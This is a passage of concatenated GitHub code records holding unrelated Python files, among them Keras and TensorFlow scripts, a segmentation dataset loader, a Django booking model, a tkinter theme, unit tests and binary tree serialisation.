body: str):\n repo.create_issue(title=title, body=body)\n","repo_name":"eunsour/leetcode","sub_path":"service/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20923926352","text":"import numpy\nfrom keras.datasets import cifar10\n\n\nfrom keras.utils import np_utils\nfrom keras import backend as K\nfrom tensorflow_core.python.keras.models import load_model\n\nK.common.image_dim_ordering()\nmodel = load_model('/content/sample_data/my_model.tf')\n\nseed = 7\nnumpy.random.seed(seed)\n\n# load data\n(X_train, y_train), (X_test, y_test) = cifar10.load_data()\n\n# normalize inputs from 0-255 to 0.0-1.0\nX_train = X_train.astype('float32')\nX_test = X_test.astype('float32')\nX_train = X_train / 255.0\nX_test = X_test / 255.0\nyp=y_test\n\ny_train = np_utils.to_categorical(y_train)\ny_test = np_utils.to_categorical(y_test)\nnum_classes = y_test.shape[1]\n\n\ndef predict_img(model,input_img):\n from keras.models import load_model\n import numpy as np\n predicted_prob = model.predict_proba(input_img)\n predicted_prob = [\"{:.7f}\".format(i) for i in predicted_prob[0]]\n predict_class = model.predict_classes(input_img)\n return (predicted_prob,predict_class)\n\n\nfor i in range(1,5):\n input_img = np.expand_dims(X_test[i],axis=0)\n # predicted_prob,predict_class = predict_img(model,input_img)\n# print (predicted_prob,predict_class)\n predicted_prob = model.predict(input_img)\n a=1\n predicted_prob = [\"{:.7f}\".format(i) for i in predicted_prob[0]]\n print (predicted_prob,a)\n plt.subplot(2,2,i)\n print (\"True Answer\",tags[i],labels[tags[i][0]],end='\\n\\n\\n')\n plt.imshow(X_test[i])","repo_name":"Adavellisahaja/Pyhton-DeepLearning","sub_path":"ICP4/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30905838467","text":"\nimport tensorflow as tf\n\n\ndef sigmoid_cross_entropy_balanced(logits, label, name='cross_entrony_loss'):\n \"\"\"\n Initially proposed in: 'Holistically-Nested Edge Detection (CVPR 15)'\n Implements Equation [2] in https://arxiv.org/pdf/1504.06375.pdf\n Compute edge pixels for each training sample and set as pos_weights to\n tf.nn.weighted_cross_entropy_with_logits\n \"\"\"\n y = tf.cast(label, tf.float32)\n\n count_neg = tf.reduce_sum(1.-y)\n count_pos = tf.reduce_sum(y)\n # Equation [2]\n beta = count_neg / (count_neg + count_pos)\n\n # Equation [2] divide by 1 - beta\n pos_weight = beta / (1 - beta)\n cost = tf.nn.weighted_cross_entropy_with_logits(logits=logits, targets=y, pos_weight=pos_weight)\n # cost = tf.\n # Multiply by 1 - beta\n cost = tf.reduce_mean(cost * (1 - beta))\n\n # check if image has no edge pixels return 0 else return complete error function\n return tf.where(tf.equal(count_pos, 0.0), 0.0, cost, name=name)\n\n\n# def class_balanced_cross_entropy_with_logits(logits,label,name='class_ballanced_cross_entropy'):\n#\n# # Initialy proposed in: 'Holistically-Nested Edge Detection (CVPR 15)'\n# with tf.name_scope(name) as scope:\n# logits= tf.cast(logits, tf.float32)\n# label = tf.cast(label, tf.float32)\n#\n# n_positives = tf.reduce_sum(label)\n# n_negatives = tf.reduce_sum(1.0-label)\n#\n# beta = n_negatives/(n_negatives+n_positives)\n# pos_weight = beta / (1-beta)\n# check_weight = tf.identity(beta,name='check')\n#\n# cost = tf.nn.weighted_cross_entropy_with_logits(targets=label,logits=logits,pos_weight=pos_weight)\n# loss = tf.reduce_mean((1-beta)*cost)\n#\n# return tf.where(tf.equal(beta,1.0),0.0,loss)\n","repo_name":"xavysp/DexiNed","sub_path":"legacy/utls/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":651,"dataset":"github-code","pt":"31"} +{"seq_id":"11850316767","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport glob\nimport os\nimport os.path as osp\nimport pickle\nimport re\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport plyvel\nimport scipy.ndimage as ndi\nfrom skimage.color import label2rgb\nimport skimage.transform\nfrom sklearn.cross_validation import train_test_split\n\nimport fcn.util\n\n\nthis_dir = osp.dirname(osp.realpath(__file__))\n\n\nclass APC2016Dataset(object):\n\n target_names = np.array([\n 'background',\n 'barkely_hide_bones',\n 'cherokee_easy_tee_shirt',\n 'clorox_utility_brush',\n 'cloud_b_plush_bear',\n 'command_hooks',\n 'cool_shot_glue_sticks',\n 'crayola_24_ct',\n 'creativity_chenille_stems',\n 'dasani_water_bottle',\n 'dove_beauty_bar',\n 'dr_browns_bottle_brush',\n 'easter_turtle_sippy_cup',\n 'elmers_washable_no_run_school_glue',\n 'expo_dry_erase_board_eraser',\n 'fiskars_scissors_red',\n 'fitness_gear_3lb_dumbbell',\n 'folgers_classic_roast_coffee',\n 'hanes_tube_socks',\n 'i_am_a_bunny_book',\n 'jane_eyre_dvd',\n 'kleenex_paper_towels',\n 'kleenex_tissue_box',\n 'kyjen_squeakin_eggs_plush_puppies',\n 'laugh_out_loud_joke_book',\n 'oral_b_toothbrush_green',\n 'oral_b_toothbrush_red',\n 'peva_shower_curtain_liner',\n 'platinum_pets_dog_bowl',\n 'rawlings_baseball',\n 'rolodex_jumbo_pencil_cup',\n 'safety_first_outlet_plugs',\n 'scotch_bubble_mailer',\n 'scotch_duct_tape',\n 'soft_white_lightbulb',\n 'staples_index_cards',\n 'ticonderoga_12_pencils',\n 'up_glucose_bottle',\n 'womens_knit_gloves',\n 'woods_extension_cord',\n ])\n mean_bgr = np.array((104.00698793, 116.66876762, 122.67891434))\n\n def __init__(self):\n dataset = self.scrape()\n self.train, self.val = train_test_split(\n dataset, test_size=0.2, random_state=np.random.RandomState(1234))\n db_path = osp.join(this_dir, 'leveldb')\n self.db = plyvel.DB(db_path, create_if_missing=True)\n\n def scrape(self):\n # scrape rbo\n dataset_dir = osp.realpath(osp.join(this_dir, 'dataset/APC2016rbo'))\n dataset = []\n for file_ in os.listdir(dataset_dir):\n match = re.match('.*_[0-9]*_bin_[a-l].jpg$', file_)\n if match is None:\n continue\n basename = osp.splitext(file_)[0]\n img_file = osp.join(dataset_dir, basename + '.jpg')\n # json_file = osp.join(dataset_dir, basename + '.json')\n bin_mask_file = osp.join(dataset_dir, basename + '.pbm')\n # pkl_file = osp.join(dataset_dir, basename + '.pkl')\n mask_files = [None] * len(self.target_names)\n for mask_file in glob.glob(osp.join(dataset_dir,\n basename + '_*.pbm')):\n mask_file_basename = osp.basename(mask_file)\n match = re.match(basename + '_(.*).pbm', mask_file_basename)\n label_name = match.groups()[0]\n label_id = np.where(self.target_names == label_name)[0][0]\n mask_files[label_id] = mask_file\n dataset.append({\n 'annotate_type': 'MaskImageList',\n 'id': basename,\n 'img_file': img_file,\n 'bin_mask_file': bin_mask_file,\n 'mask_files': mask_files,\n })\n # scrape seg\n dataset_dir = osp.realpath(\n osp.join(this_dir, 'dataset/APC2016seg/annotated'))\n for dir_ in os.listdir(dataset_dir):\n img_file = osp.join(dataset_dir, dir_, 'image.png')\n label_file = osp.join(dataset_dir, dir_, 'label.png')\n dataset.append({\n 'annotate_type': 'LabelImage',\n 'id': dir_,\n 'img_file': img_file,\n 'label_file': label_file,\n })\n return dataset\n\n def view_dataset(self):\n for datum in self.val:\n rgb, label = self.load_datum(datum, train=False)\n label_viz = label2rgb(label, rgb, bg_label=-1)\n label_viz[label == 0] = 0\n plt.imshow(label_viz)\n plt.show()\n\n def img_to_datum(self, rgb):\n rgb = rgb.astype(np.float32)\n blob = rgb[:, :, ::-1] # RGB-> BGR\n blob -= self.mean_bgr\n blob = blob.transpose((2, 0, 1))\n return blob\n\n def datum_to_img(self, blob):\n bgr = blob.transpose((1, 2, 0))\n bgr += self.mean_bgr\n rgb = bgr[:, :, ::-1] # BGR -> RGB\n rgb = rgb.astype(np.uint8)\n return rgb\n\n def load_datum(self, datum, train):\n rgb = ndi.imread(datum['img_file'], mode='RGB')\n rgb, _ = fcn.util.resize_img_with_max_size(rgb, max_size=500*500)\n # # translate\n # height, width = rgb.shape[:2]\n # translation = (int(0.1 * np.random.random() * height),\n # int(0.1 * np.random.random() * width))\n # tform = skimage.transform.SimilarityTransform(translation=translation)\n # rgb = skimage.transform.warp(\n # rgb, tform, mode='constant', preserve_range=True)\n # rgb = rgb.astype(np.uint8)\n if datum['annotate_type'] == 'MaskImageList':\n # bin_mask\n bin_mask = ndi.imread(datum['bin_mask_file'], mode='L')\n bin_mask = skimage.transform.resize(\n bin_mask, rgb.shape[:2], preserve_range=True).astype(np.uint8)\n # bin_mask = skimage.transform.warp(\n # bin_mask, tform, mode='constant', preserve_range=True)\n # bin_mask = bin_mask.astype(np.uint8)\n # generate label\n label = np.zeros(rgb.shape[:2], dtype=np.int32)\n for label_value, mask_file in enumerate(datum['mask_files']):\n if mask_file is None:\n continue\n mask = ndi.imread(mask_file, mode='L')\n mask = skimage.transform.resize(\n mask, rgb.shape[:2], preserve_range=True).astype(np.uint8)\n # mask = skimage.transform.warp(\n # mask, tform, mode='constant', preserve_range=True)\n # mask = mask.astype(np.uint8)\n label[mask != 0] = label_value\n label[bin_mask == 0] = -1\n elif datum['annotate_type'] == 'LabelImage':\n label = ndi.imread(datum['label_file'], mode='L')\n label = label.astype(np.int32)\n label[label == 255] = -1\n # resize label carefully\n unique_labels = np.unique(label)\n label = skimage.transform.resize(\n label, rgb.shape[:2], order=0,\n preserve_range=True).astype(np.int32)\n np.testing.assert_array_equal(unique_labels, np.unique(label))\n return rgb, label\n\n def next_batch(self, batch_size, type, indices=None):\n assert type in ('train', 'val')\n if type == 'train':\n data = self.train\n else:\n data = self.val\n if indices is None:\n indices = np.random.randint(0, len(data), batch_size)\n batch = []\n for index in indices:\n datum = data[index]\n inputs = self.db.get(datum['id'])\n if inputs is not None:\n # use cached data\n inputs = pickle.loads(inputs)\n else:\n inputs = self.load_datum(datum, train=type == 'train')\n # save to db\n self.db.put(datum['id'], pickle.dumps(inputs))\n batch.append(inputs)\n return batch\n\n\nif __name__ == '__main__':\n dataset = APC2016Dataset()\n dataset.scrape()\n dataset.view_dataset()\n","repo_name":"barongeng/fcn","sub_path":"examples/apc2016/apc2016.py","file_name":"apc2016.py","file_ext":"py","file_size_in_byte":7861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"26979759260","text":"from typing import Optional, Union\nfrom pydantic import BaseModel, EmailStr, Field\nfrom datetime import datetime\nfrom bson.objectid import ObjectId\nfrom bson import binData\nfrom models.classes import ClassSchema\n\nclass Applications(BaseModel):\n email: str = EmailStr\n time: datetime\n resume: binData\n classes: list[ClassSchema]\n \n\n class Config:\n schema_extra = {\n \"example\": {\n \"name\": \"CS 4351\",\n \"active\":True,\n \"labs\":[{\n 'time':'2032-04-23T10:20:30.400+02:30',\n 'name':'N12'\n },{\n 'time':'2022-04-23T10:20:30.400+02:30',\n 'name':'N13'\n }]\n }\n }\n\n\nclass UpdateApplicationsModel(BaseModel):\n name: Optional[str]\n active: Optional[bool]\n labs: Optional[list[Labs]]\n\n class Config:\n schema_extra = {\n \"example\": {\n \"name\": \"CS 4351\",\n \"active\":True,\n \"labs\":[{\n 'time':'2032-04-23T10:20:30.400+02:30',\n 'name':'N12'\n },{\n 'time':'2022-04-23T10:20:30.400+02:30',\n 'name':'N13'\n }]\n }\n }\n","repo_name":"jonathanebrahimian/source-tas-backend","sub_path":"app/models/applications.py","file_name":"applications.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26324502069","text":"import datetime\nfrom django.db import models\nfrom apps.rooms.models import Rooms\nfrom django.core.exceptions import ValidationError\n\n\nclass HotelBooking(models.Model):\n\n CHOICE=(\n (0,0),\n (1,1),\n (2,2),\n (3,3),\n (4,4),\n )\n full_name=models.CharField(max_length=100,null=True,blank=True)\n email=models.EmailField(blank=True ,null=True)\n check_in=models.DateField()\n check_out=models.DateField()\n adults=models.IntegerField(choices=CHOICE)\n children=models.IntegerField(choices=CHOICE,default=0)\n room=models.ForeignKey(Rooms,on_delete=models.CASCADE)\n\n\n\n def __str__(self):\n return f'id:{self.id} room:{self.room} check_in :{self.check_in}: {self.check_out} '\n\n\n class Meta:\n unique_together = ('check_in', 'check_out','room',)\n\n\n def validate_unique(self, exclude=None):\n \n for i in HotelBooking.objects.all():\n dates=i.check_out-i.check_in\n room=i.room\n\n for d in range(dates.days +1):\n res=i.check_in+datetime.timedelta(days=d)\n if self.check_in ==res and self.room==room :\n raise ValidationError(\"I'm sorry but you can't book this room these days\")\n\n super(HotelBooking, self).validate_unique(exclude=exclude)\n\n\n def save(self,*args,**kwargs):\n self.validate_unique()\n return super(HotelBooking,self).save(*args,**kwargs)\n\n\n\n\n\n\n\n\n\n","repo_name":"anniraz/Hotel","sub_path":"apps/booking/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29031949329","text":"import cyberpunk_theme\nfrom cyberpunk_theme.widget import button, entry, listbox, label, frame\nimport tkstyle\n\n\ndef get_theme():\n theme = cyberpunk_theme.get_theme()\n theme.add(get_button_style(), pattern=\"*Button\")\n theme.add(get_entry_style(), pattern=\"*Entry\")\n theme.add(get_listbox_style(), pattern=\"*Listbox\")\n theme.add(get_frame_line_style(), pattern=\"*frame_line\")\n theme.add(get_label_title_style(), pattern=\"*label_title\")\n theme.add(get_label_notification_style(), pattern=\"*label_notification\")\n theme.add(get_entry_owner_name_style(), pattern=\"*entry_owner_name\")\n theme.add(get_entry_repo_name_style(), pattern=\"*entry_repo_name\")\n theme.add(get_readonly_entry_style(), pattern=\"*info_toplevel*Entry\")\n theme.add(get_readonly_entry_style(), pattern=\"*openlist_toplevel*Entry\")\n theme.add(get_readonly_entry_style(), pattern=\"*error_toplevel*Entry\")\n theme.add(get_readonly_entry_style(), pattern=\"*installer_toplevel*Entry\")\n theme.add(get_readonly_entry_style(), pattern=\"*promoted_toplevel*Entry\")\n return theme\n\n\ndef get_button_style():\n style = button.get_button_dark_filled_style()\n style.foreground = \"gray\"\n style.padX = 5\n style.padY = 0\n style.highlightThickness = 1\n style.highlightBackground = \"#292D31\"\n style.font = \"Liberation Mono\", 11, \"normal\"\n return style\n\n\ndef get_entry_style():\n style = entry.get_style()\n style.font = \"Liberation Mono\", 11, \"normal\"\n style.highlightThickness = 0\n return style\n\n\ndef get_listbox_style():\n style = listbox.get_style()\n style.font = \"Liberation Mono\", 11, \"normal\"\n return style\n\n\ndef get_frame_line_style():\n style = frame.get_style()\n style.background = \"#009191\"\n style.background = \"#4E7F7A\"\n return style\n\n\ndef get_label_title_style():\n style = label.get_style()\n style.foreground = \"#009191\"\n style.foreground = \"#4E7F7A\"\n style.font = (\"Liberation Mono\", 12, \"bold\")\n return style\n\n\ndef get_label_notification_style():\n style = label.get_style()\n style.foreground = \"#606060\"\n style.font = (\"Liberation Mono\", 9, \"italic\")\n return style\n\n\ndef get_entry_owner_name_style():\n style = entry.get_style()\n style.font = \"Liberation Mono\", 9, \"normal\"\n style.readonlyBackground = \"#121519\"\n return style\n\n\ndef get_entry_repo_name_style():\n style = entry.get_style()\n style.readonlyBackground = \"#00312C\"\n style.readonlyBackground = \"#0B0E12\"\n style.foreground = \"#3CA46F\"\n style.foreground = \"#ABAEB2\"\n style.font = \"Liberation Mono\", 11, \"bold\"\n return style\n\n\ndef get_highlight_style():\n style = tkstyle.Frame()\n style.highlightBackground = \"#101010\"\n #style.highlightColor = \"#384848\"\n style.highlightColor = \"#384848\"\n style.highlightBackground = \"#384848\"\n return style\n\n\ndef get_unhighlight_style():\n style = tkstyle.Frame()\n style.highlightThickness = 2\n style.highlightColor = \"#121519\"\n style.highlightBackground = \"#121519\"\n return style\n\n\ndef get_readonly_entry_style():\n style = tkstyle.Entry()\n style.readonlyBackground = \"#121519\"\n return style\n\n\ndef get_entry_description_style():\n style = tkstyle.Entry()\n style.font = \"Liberation Mono\", 11, \"normal\"\n return style\n\n\ndef get_info_entry_owner_repo_style():\n style = tkstyle.Entry()\n style.font = \"Liberation Mono\", 12, \"bold\"\n return style\n\n\ndef get_package_size_style():\n style = tkstyle.Entry()\n style.foreground = \"#26718A\"\n return style\n\n\ndef get_text_search_style():\n style = tkstyle.Entry()\n style.highlightThickness = 0\n style.foreground = \"#009191\"\n style.foreground = \"gray\"\n style.padX = 1\n style.padY = 0\n return style\n","repo_name":"pyrustic/hubstore","sub_path":"hubstore/misc/theme.py","file_name":"theme.py","file_ext":"py","file_size_in_byte":3716,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"39855220992","text":"import unittest\n\nfrom war.Card import spade, club, heart\nfrom war.Deck import Deck\nfrom war.Player import Player\n\n\nclass PlayerTestCase(unittest.TestCase):\n\n def test_cardcount(self):\n deck = Deck([spade(8), club(2), club('A'), spade(3), heart(10)])\n self.assertEqual(5, Player(\"Jenny\", deck).cardCount())\n\n def test_offerWarPile_with_size_greater_than_3(self):\n deck = Deck([spade(8), club(2), club('A'), spade(3), heart(10)])\n player = Player(\"Jenny\", deck)\n self.assertEqual(3, len(player.offerWarPile()))\n self.assertEqual(2, player.cardCount())\n\n def test_offerWarPile_with_size_less_than_3(self):\n deck = Deck([spade(8), club(2)])\n player = Player(\"Jenny\", deck)\n self.assertEqual(2, len(player.offerWarPile()))\n self.assertEqual(0, player.cardCount())\n","repo_name":"nupursjsu/War-Game","sub_path":"test/PlayerTestCase.py","file_name":"PlayerTestCase.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"320054180","text":"\"\"\"\n序列化二叉树\n题目:请实现两个函数,分别用来序列化和反序列化二叉树\n思路:\n1. 怎么序列化就怎么反序列化(先or中or后)\n2. 空节点不能漏掉,用特殊符号代替,如#替代None,另外为了便捷,序列化的时候每个节点后跟下划线_\n\"\"\"\n\nfrom collections import deque\n\n\n# -*- coding:utf-8 -*-\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def __init__(self):\n self.res = ''\n\n def Serialize(self, root):\n # write code here\n if not root:\n return root\n self.serialize(root)\n return self.res\n\n # 先序的序列化\n def serialize(self, root):\n if not root:\n self.res += '#_'\n return\n else:\n self.res += str(root.val) + '_'\n self.serialize(root.left)\n self.serialize(root.right)\n\n def Deserialize(self, s):\n # write code here\n if not s or len(s) < 1:\n return None\n\n values = s.split('_')\n queue = deque()\n for i in range(0, len(values)):\n queue.append(values[i])\n return self.deserialize(queue)\n\n def deserialize(self, queue):\n value = queue.popleft()\n if value == '#':\n return None\n head = TreeNode(int(value))\n head.left = self.deserialize(queue)\n head.right = self.deserialize(queue)\n return head\n\n\nobj = Solution()\nroot = TreeNode(8)\ntn1 = TreeNode(6)\ntn2 = TreeNode(9)\nroot.left = tn1\nroot.right = tn2\ntn3 = TreeNode(5)\ntn4 = TreeNode(7)\ntn1.left = tn3\ntn1.right = tn4\ntn5 = TreeNode(7)\ntn6 = TreeNode(5)\ntn2.left = tn5\ntn2.right = tn6\n# s = obj.Serialize(root)\n# print(obj.Deserialize(s).val)\n\ns = obj.Serialize(None)\nprint(s)\nprint(obj.Deserialize(s).val)\n","repo_name":"endy-see/AlgorithmPython","sub_path":"SwordOffer/63-SerializeBinaryTree.py","file_name":"63-SerializeBinaryTree.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14600621275","text":"#import all required modules\n\nimport numpy as np\nimport seaborn as sns\nimport pandas as pd\nimport numpy as np\nimport matplotlib\n\n'''\n\nKrysten Harvey\nFinal Exam\n\n'''\n\n#read in table of data using pandas\ncell_data = pd.read_table('tetrahymena.tsv', delim_whitespace=True)\n\n#filter average cell diameters\nd1 = cell_data['diameter']>= 19.2\ncell_data = cell_data[d1]\nd2 = cell_data['diameter']<= 26.0\ncell_data = cell_data[d2]\n\n#reset index of dataframe because of deleted values\ncell_data = cell_data.reset_index()\n\n#create a new column to be used as marker based on glucose value. all values are default as 1 (glucose)\ncell_data['glucose_marker'] = 1\n\n#search through df, and set glucose as 0 if no glucose was given\nfor i in range(0,len(cell_data['glucose'])):\n if cell_data['glucose'][i] == 'glucose_no':\n cell_data.set_value(i, 'glucose_marker', 0)\n\n#group by culture number and average diameter and concentration. reset index again\ncell_data = cell_data.groupby('culture').mean().reset_index()\n\n#create new column to put back glucose values into table with default value as Glucose\ncell_data['glucose'] = 'Glucose'\n\n#if glucose marker is 0, set as No Glucose\nfor i in range(0,len(cell_data['glucose_marker'])):\n if cell_data['glucose_marker'][i] == 0:\n cell_data.set_value(i, 'glucose', 'No Glucose')\n\n\n#create new columns for the logs of diameters and concentrations\ncell_data['log_concentration'] = np.log(cell_data.conc)\ncell_data['log_diameter'] = np.log(cell_data.diameter)\n\n#create scatterplots using seaborn\nnolog = sns.pairplot(x_vars=['conc'], y_vars=['diameter'], height=8, data=cell_data, hue= 'glucose',markers= ['o','+'])\nlog = sns.pairplot(x_vars=['log_concentration'], y_vars=['log_diameter'], height=8, data=cell_data, hue= 'glucose',markers= ['o','+'])\n\nnolog.title = 'Average Cell Diameter vs. Concentration'\nlog.title = 'Average Cell Diameter vs. Concentration'\n\n#save plots as pdfs\nnolog.savefig(\"final_part_A_nonlog_kh2975.pdf\")\nlog.savefig(\"final_part_A_log_kh2975.pdf\")\n","repo_name":"kh2975/Programming-for-Biologist","sub_path":"final_partA_kh2975.py","file_name":"final_partA_kh2975.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36728370198","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\nimport os\nimport copy\nfrom model import Model\n\nclass UpSample(nn.Sequential):\n def __init__(self, skip_input, output_features):\n super(UpSample, self).__init__()\n self.convA = nn.Conv2d(skip_input, output_features, kernel_size=3, stride=1, padding=1)\n self.leakyreluA = nn.LeakyReLU(0.2)\n self.convB = nn.Conv2d(output_features, output_features, kernel_size=3, stride=1, padding=1)\n self.leakyreluB = nn.LeakyReLU(0.2)\n\n def forward(self, x, concat_with):\n up_x = F.interpolate(x, size=[concat_with.size(2), concat_with.size(3)], mode='bilinear', align_corners=True)\n return self.leakyreluB( self.convB( self.leakyreluA(self.convA( torch.cat([up_x, concat_with], dim=1) ) ) ) )\n\n\n\ndef test_featuresize(half_inputsize):\n\n SAVE_DIR = 'models/190603_test_as_is'\n m = Model()\n m.load_state_dict(torch.load(os.path.join(SAVE_DIR, 'epoch-19.pth')))\n original_model = m.encoder.original_model\n\n # double the input feature count for transition layer 1\n original_model.features.transition1.norm = nn.BatchNorm2d(384*2, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n original_model.features.transition1.conv = nn.Conv2d(384*2, 192, kernel_size=(1, 1), stride=(1, 1), bias=False)\n\n # initialize E_d, as front half(~denseblock1) of pretrained ~~DenseNet~~ DenseDepth\n depth_encoder = copy.deepcopy(m.encoder.original_model.features[0:5])\n # change #(input channel) from 3 to 1\n depth_encoder.conv0 = nn.Conv2d(1, 96, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\n\n\n if (half_inputsize):\n x = torch.randn([5, 3, 256, 320])\n y = torch.randn([5, 1, 256, 320])\n else:\n x = torch.randn([5, 3, 480, 640])\n y = torch.randn([5, 1, 480, 640])\n\n features = [x] #[x[:,:3,:,:]]\n features_depth = [y] #[x[:,3:,:,:]]\n\n # for reference: list of k\n # 0 conv0\n # 1 norm0\n # 2 relu0 >x_block0\n # 3 pool0 >x_block1\n # 4 denseblock1\n # 5 transition1 >x_block2\n # 6 denseblock2\n # 7 transition2 >x_block3\n # 8 denseblock3\n # 9 transition3\n # 10 denseblock4 >x_block4\n # 11 norm5\n\n # run first half of E and E_d\n ## iter over part) https://stackoverflow.com/questions/42896141/how-to-lazily-iterate-on-reverse-order-of-keys-in-ordereddict\n i1 = i2 = 0\n for k, v in list(original_model.features._modules.items())[:5]:\n features.append( v(features[-1]) )\n print(' == '+str(i1)+\" == \" + str(features[-1].shape))\n i1 = i1+1\n # print('AAAND..')\n for k, v in list(depth_encoder._modules.items())[:5]:\n features_depth.append( v(features_depth[-1]) )\n print(' // '+str(i2)+\" // \" + str(features_depth[-1].shape))\n i2 = i2 + 1\n\n # concatenate two outputs from each denseblock, and replace last feature with it\n concatenated_feature = torch.cat([features[5], features_depth[5]], dim=1)\n del features[-1]\n features.append( concatenated_feature )\n\n # run rest of the network\n for k, v in list(original_model.features._modules.items())[5:]:\n features.append( v(features[-1]) )\n print(' == ' + str(i1) + \" == \" + str(features[-1].shape))\n i1 = i1 + 1\n\n ####\n\n parameters = copy.deepcopy(m.decoder.parameters) # might be dangerous\n\n num_features = 2208\n new_Fnum = int(num_features * 0.5)\n\n conv2 = nn.Conv2d(num_features, new_Fnum, kernel_size=1, stride=1, padding=1)\n\n up1 = UpSample(skip_input=new_Fnum // 1 + 384, output_features=new_Fnum // 2) # // means divide and floor\n up2 = UpSample(skip_input=new_Fnum // 2 + 192, output_features=new_Fnum // 4)\n up3 = UpSample(skip_input=new_Fnum // 4 + 96 * 2, output_features=new_Fnum // 8)\n up4 = UpSample(skip_input=new_Fnum // 8 + 96 * 2, output_features=new_Fnum // 16)\n\n conv3 = nn.Conv2d(new_Fnum // 16, 1, kernel_size=3, stride=1, padding=1)\n\n x_block0, x_block1, x_block2, x_block3, x_block4 = features[3], features[4], features[6], features[8], features[11]\n x_depth0, x_depth1 = features_depth[3], features_depth[4]\n\n x_d0 = conv2(x_block4)\n x_d1 = up1(x_d0, x_block3)\n x_d2 = up2(x_d1, x_block2)\n x_d3 = up3(x_d2, torch.cat([x_block1, x_depth1], dim=1)) # connect both features\n x_d4 = up4(x_d3, torch.cat([x_block0, x_depth0], dim=1)) # connect both features\n\n print('| x_d0 | ' + str(x_d0.shape))\n print('| x_d1 | ' + str(x_d1.shape))\n print('| x_d2 | ' + str(x_d2.shape))\n print('| x_d3 | ' + str(x_d3.shape))\n print('| x_d4 | ' + str(x_d4.shape))\n print('| x_d5 | ' + str(conv3(x_d4).shape))\n\n\n\n # return conv3(x_d4)\n\n\n\n\n\n\n\n return features, features_depth\n\nif __name__ == '__main__':\n test_featuresize(half_inputsize=True)","repo_name":"wtre/lucents","sub_path":"code_snippets.py","file_name":"code_snippets.py","file_ext":"py","file_size_in_byte":4931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22969394110","text":"#Contains functionality for objects that manage notifications, variables, files, etc.\n\nimport random\nimport pygame\n\nfrom . import csv_tools\nfrom . import scaling\nfrom . import text_tools\nfrom . import events\n\nclass global_manager_template():\n '''\n Object designed to manage a dictionary of shared variables and be passed between functions and objects as a simpler alternative to passing each variable or object separately\n '''\n def __init__(self):\n '''\n Description:\n Initializes this object\n Input:\n None\n Output:\n None\n '''\n self.global_dict = {}\n \n def get(self, name):\n '''\n Description:\n Returns the value in this object's dictionary corresponding to the inputted key\n Input:\n string name: Name of a key in this object's dictionary\n Output:\n any type: The value corresponding to the inputted key's entry in this object's dictionary\n '''\n return(self.global_dict[name])\n \n def set(self, name, value):\n '''\n Description:\n Sets or initializes the inputted value for the inputted key in this object's dictionary\n Input:\n string name: Name of the key in this object's dictionary to initialize/modify\n any type value: Value corresponding to the new/modified key\n Output:\n None\n '''\n self.global_dict[name] = value\n\n def has(self, name):\n '''\n Description:\n Returns whether the inputted value is a key in this object's dictionary\n Input:\n string name: Name of a key to search for in this object's dictionary\n Output:\n boolean: Returns whether the inputted key is in this object's dictionary \n '''\n return(name in self.global_dict)\n\nclass input_manager_template():\n '''\n Object designed to manage the passing of typed input from the text box to different parts of the program\n '''\n def __init__(self, global_manager):\n '''\n Description:\n Initializes this object\n Input:\n global_manager_template global_manager: Object that accesses shared variables\n Output:\n None\n '''\n self.global_manager = global_manager\n self.previous_input = ''\n self.taking_input = False\n self.old_taking_input = self.taking_input\n self.stored_input = ''\n self.send_input_to = ''\n \n def check_for_input(self):\n '''\n Description:\n Returns true if input was just being taken and is no longer being taken, showing that there is input ready. Otherwise, returns False.\n Input:\n None\n Output:\n boolean: True if input was just being taken and is no longer being taken, showing that there is input ready. Otherwise, returns False.\n '''\n if self.old_taking_input == True and self.taking_input == False: \n return(True)\n else:\n return(False)\n \n def start_receiving_input(self, solicitant, message):\n '''\n Description:\n Displays the prompt for the user to enter input and prepares to receive input and send it to the part of the program requesting input\n Input:\n string solicitant: Represents the part of the program to send input to\n string message: Prompt given to the player to enter input\n Output:\n None\n '''\n text_tools.print_to_screen(message, self.global_manager)\n self.send_input_to = solicitant\n self.taking_input = True\n \n def update_input(self):\n '''\n Description:\n Updates whether this object is currently taking input\n Input:\n None\n Output:\n None\n '''\n self.old_taking_input = self.taking_input\n \n def receive_input(self, received_input):\n '''\n Description:\n Sends the inputted string to the part of the program that initially requested input\n Input:\n String received_input: Input entered by the user into the text box\n Output:\n None\n '''\n if self.send_input_to == 'do something':\n if received_input == 'done':\n self.global_manager.set('crashed', True)\n else:\n text_tools.print_to_screen('I didn\\'t understand that.')\n\nclass effect_manager_template():\n '''\n Object that controls global effects\n '''\n def __init__(self, global_manager):\n '''\n Description:\n Initializes this object\n Input:\n global_manager_template global_manager: Object that accesses shared variables\n Output:\n None\n 